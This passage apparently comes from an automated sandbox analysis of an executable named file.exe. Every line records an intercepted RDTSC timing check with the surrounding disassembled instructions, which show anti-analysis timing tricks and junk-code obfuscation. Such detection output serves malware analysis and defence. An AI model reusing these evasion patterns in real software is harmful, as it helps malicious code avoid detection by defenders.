Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EDDDD second address: 11EDDE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F99150F94F6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EDDE8 second address: 11EDDEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EDDEE second address: 11EDDF4 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EDF25 second address: 11EDF29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EDF29 second address: 11EDF33 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F99150F94F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE45E second address: 11EE462 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F151D second address: 11F152F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007F99150F94F6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F152F second address: 11F154A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B45A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F154A second address: 11F1550 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1550 second address: 11F1554 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1896 second address: 11F189A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1F97 second address: 11F1FBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 jns 00007F99146B45A8h 0x0000000f push eax 0x00000010 pushad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F1FBF second address: 11F1FC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2220 second address: 11F2225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2A2C second address: 11F2AC8 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F99150F94F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F99150F94FBh 0x00000011 nop 0x00000012 stc 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edx 0x00000018 call 00007F99150F94F8h 0x0000001d pop edx 0x0000001e mov dword ptr [esp+04h], edx 0x00000022 add dword ptr [esp+04h], 00000014h 0x0000002a inc edx 0x0000002b push edx 0x0000002c ret 0x0000002d pop edx 0x0000002e ret 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ebx 0x00000034 call 00007F99150F94F8h 0x00000039 pop ebx 0x0000003a mov dword ptr [esp+04h], ebx 0x0000003e add dword ptr [esp+04h], 0000001Ah 0x00000046 inc ebx 0x00000047 push ebx 0x00000048 ret 0x00000049 pop ebx 0x0000004a ret 0x0000004b jnc 00007F99150F94FFh 0x00000051 xchg eax, ebx 0x00000052 jnp 00007F99150F950Ah 0x00000058 push eax 0x00000059 push ebx 0x0000005a push eax 0x0000005b push edx 0x0000005c jmp 00007F99150F9503h 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F2AC8 second address: 11F2ACC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F34B6 second address: 11F34BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5113 second address: 11F5119 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5119 second address: 11F511D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F511D second address: 11F5181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov edi, dword ptr [ebp+122D1923h] 0x00000011 jnl 00007F99146B459Ch 0x00000017 push 00000000h 0x00000019 push 00000000h 0x0000001b push edx 0x0000001c call 00007F99146B4598h 0x00000021 pop edx 0x00000022 mov dword ptr [esp+04h], edx 0x00000026 add dword ptr [esp+04h], 00000018h 0x0000002e inc edx 0x0000002f push edx 0x00000030 ret 0x00000031 pop edx 0x00000032 ret 0x00000033 jmp 00007F99146B45A1h 0x00000038 push 00000000h 0x0000003a push eax 0x0000003b push ecx 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F99146B459Eh 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5CF4 second address: 11F5CF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5A98 second address: 11F5AD5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F99146B45A0h 0x00000008 jmp 00007F99146B459Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 jmp 00007F99146B459Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F99146B45A9h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5CF9 second address: 11F5D1D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F99150F94FCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F99150F94FFh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F5D1D second address: 11F5D38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B45A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F6839 second address: 11F683E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F683E second address: 11F6844 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F6844 second address: 11F68B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jnc 00007F99150F9512h 0x0000000e nop 0x0000000f jmp 00007F99150F9507h 0x00000014 push 00000000h 0x00000016 mov dword ptr [ebp+122D3325h], esi 0x0000001c push 00000000h 0x0000001e mov dword ptr [ebp+122D36FAh], eax 0x00000024 xchg eax, ebx 0x00000025 jmp 00007F99150F9507h 0x0000002a push eax 0x0000002b pushad 0x0000002c pushad 0x0000002d jg 00007F99150F94F6h 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11F70B6 second address: 11F70BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB058 second address: 11AB062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F99150F94F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB062 second address: 11AB068 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AB068 second address: 11AB06E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB2E2 second address: 11FB2E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FB2E8 second address: 11FB2EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FEEA0 second address: 11FEEB5 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F99146B4598h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11FEF66 second address: 11FEF6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1200F60 second address: 1200F65 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12000E5 second address: 12000FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99150F94FFh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1201FFA second address: 1202096 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F99146B4596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov dword ptr [esp], eax 0x0000000e jmp 00007F99146B459Ah 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push eax 0x00000018 call 00007F99146B4598h 0x0000001d pop eax 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 add dword ptr [esp+04h], 00000019h 0x0000002a inc eax 0x0000002b push eax 0x0000002c ret 0x0000002d pop eax 0x0000002e ret 0x0000002f jmp 00007F99146B45A0h 0x00000034 jmp 00007F99146B45A0h 0x00000039 push 00000000h 0x0000003b push 00000000h 0x0000003d push edx 0x0000003e call 00007F99146B4598h 0x00000043 pop edx 0x00000044 mov dword ptr [esp+04h], edx 0x00000048 add dword ptr [esp+04h], 0000001Ah 0x00000050 inc edx 0x00000051 push edx 0x00000052 ret 0x00000053 pop edx 0x00000054 ret 0x00000055 xchg eax, esi 0x00000056 js 00007F99146B45A3h 0x0000005c jmp 00007F99146B459Dh 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 push ebx 0x00000066 pop ebx 0x00000067 push ebx 0x00000068 pop ebx 0x00000069 popad 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202E68 second address: 1202E6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202E6C second address: 1202E72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1202E72 second address: 1202F0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F94FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007F99150F94F8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 push 00000000h 0x00000028 mov dword ptr [ebp+122D1A58h], esi 0x0000002e push 00000000h 0x00000030 push 00000000h 0x00000032 push ebp 0x00000033 call 00007F99150F94F8h 0x00000038 pop ebp 0x00000039 mov dword ptr [esp+04h], ebp 0x0000003d add dword ptr [esp+04h], 0000001Ch 0x00000045 inc ebp 0x00000046 push ebp 0x00000047 ret 0x00000048 pop ebp 0x00000049 ret 0x0000004a sub dword ptr [ebp+122D1871h], ecx 0x00000050 xchg eax, esi 0x00000051 pushad 0x00000052 jno 00007F99150F94FCh 0x00000058 jmp 00007F99150F9500h 0x0000005d popad 0x0000005e push eax 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007F99150F9501h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1203F62 second address: 1203F66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1203F66 second address: 1203FCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F99150F94FEh 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edi, 564E46DEh 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007F99150F94F8h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 mov di, 60A1h 0x00000034 push 00000000h 0x00000036 call 00007F99150F9502h 0x0000003b jbe 00007F99150F94F9h 0x00000041 mov di, ax 0x00000044 pop edi 0x00000045 xchg eax, esi 0x00000046 push eax 0x00000047 push edx 0x00000048 push ecx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1203FCC second address: 1203FD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1203FD1 second address: 1203FE2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jng 00007F99150F94F6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1203FE2 second address: 1203FE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12051BF second address: 12051FD instructions: 0x00000000 rdtsc 0x00000002 jp 00007F99150F950Ah 0x00000008 jmp 00007F99150F9504h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jg 00007F99150F950Dh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12051FD second address: 1205203 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1207009 second address: 120700D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206106 second address: 120610A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120610A second address: 1206118 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F99150F94F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1206118 second address: 120611C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1208156 second address: 120815A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1208F9F second address: 1208FA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1208FA5 second address: 1208FFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F99150F9509h 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+124848F3h], ebx 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push eax 0x00000019 call 00007F99150F94F8h 0x0000001e pop eax 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 add dword ptr [esp+04h], 00000015h 0x0000002b inc eax 0x0000002c push eax 0x0000002d ret 0x0000002e pop eax 0x0000002f ret 0x00000030 mov edi, dword ptr [ebp+122D190Eh] 0x00000036 push 00000000h 0x00000038 xchg eax, esi 0x00000039 push ecx 0x0000003a push eax 0x0000003b push edx 0x0000003c push eax 0x0000003d push edx 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1208FFA second address: 1208FFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120C18F second address: 120C1E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 jmp 00007F99150F9508h 0x0000000c mov edi, dword ptr [ebp+122D1C1Dh] 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+12453971h], edx 0x0000001a mov edi, dword ptr [ebp+122D188Eh] 0x00000020 push 00000000h 0x00000022 and edi, dword ptr [ebp+122D3886h] 0x00000028 xchg eax, esi 0x00000029 jmp 00007F99150F9508h 0x0000002e push eax 0x0000002f push ebx 0x00000030 push esi 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1208258 second address: 12082E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B459Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov dword ptr [ebp+122D33E8h], eax 0x00000012 push dword ptr fs:[00000000h] 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007F99146B4598h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 0000001Ah 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 pushad 0x00000034 pushad 0x00000035 mov edi, dword ptr [ebp+12456DC0h] 0x0000003b popad 0x0000003c mov dword ptr [ebp+12477350h], edx 0x00000042 popad 0x00000043 mov dword ptr fs:[00000000h], esp 0x0000004a movzx edi, cx 0x0000004d mov eax, dword ptr [ebp+122D0605h] 0x00000053 jng 00007F99146B459Ch 0x00000059 mov edi, dword ptr [ebp+122D197Eh] 0x0000005f mov dword ptr [ebp+122D1C6Ch], edi 0x00000065 push FFFFFFFFh 0x00000067 or di, 5BA0h 0x0000006c push eax 0x0000006d pushad 0x0000006e jmp 00007F99146B459Bh 0x00000073 push eax 0x00000074 push edx 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12082E4 second address: 12082E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120B1D9 second address: 120B1DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120723B second address: 120723F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120723F second address: 1207243 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1207243 second address: 120724D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120724D second address: 1207251 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120F26B second address: 120F27A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F99150F94F6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120F27A second address: 120F284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F99146B4596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120F284 second address: 120F28A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120F872 second address: 120F878 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120F878 second address: 120F8FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F9507h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007F99150F94F8h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 0000001Bh 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 jmp 00007F99150F94FBh 0x00000029 push 00000000h 0x0000002b sub dword ptr [ebp+122D1B06h], eax 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ecx 0x00000036 call 00007F99150F94F8h 0x0000003b pop ecx 0x0000003c mov dword ptr [esp+04h], ecx 0x00000040 add dword ptr [esp+04h], 0000001Ah 0x00000048 inc ecx 0x00000049 push ecx 0x0000004a ret 0x0000004b pop ecx 0x0000004c ret 0x0000004d and edi, dword ptr [ebp+122D37BEh] 0x00000053 push eax 0x00000054 pushad 0x00000055 pushad 0x00000056 pushad 0x00000057 popad 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120FA1D second address: 120FA31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99146B459Fh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120FA31 second address: 120FAC1 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F99150F94FCh 0x00000008 jo 00007F99150F94F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push eax 0x00000016 call 00007F99150F94F8h 0x0000001b pop eax 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc eax 0x00000029 push eax 0x0000002a ret 0x0000002b pop eax 0x0000002c ret 0x0000002d mov ebx, eax 0x0000002f mov edi, edx 0x00000031 push dword ptr fs:[00000000h] 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f or ebx, 6340E451h 0x00000045 mov eax, dword ptr [ebp+122D02BDh] 0x0000004b push 00000000h 0x0000004d push ecx 0x0000004e call 00007F99150F94F8h 0x00000053 pop ecx 0x00000054 mov dword ptr [esp+04h], ecx 0x00000058 add dword ptr [esp+04h], 0000001Ch 0x00000060 inc ecx 0x00000061 push ecx 0x00000062 ret 0x00000063 pop ecx 0x00000064 ret 0x00000065 push FFFFFFFFh 0x00000067 push esi 0x00000068 jmp 00007F99150F9500h 0x0000006d pop ebx 0x0000006e nop 0x0000006f push eax 0x00000070 push edx 0x00000071 push eax 0x00000072 push edx 0x00000073 pushad 0x00000074 popad 0x00000075 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120FAC1 second address: 120FACB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F99146B4596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120FACB second address: 120FAD1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 120FAD1 second address: 120FAD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A4495 second address: 11A44B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99150F9509h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A44B4 second address: 11A44BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A44BC second address: 11A44C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A44C2 second address: 11A44C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
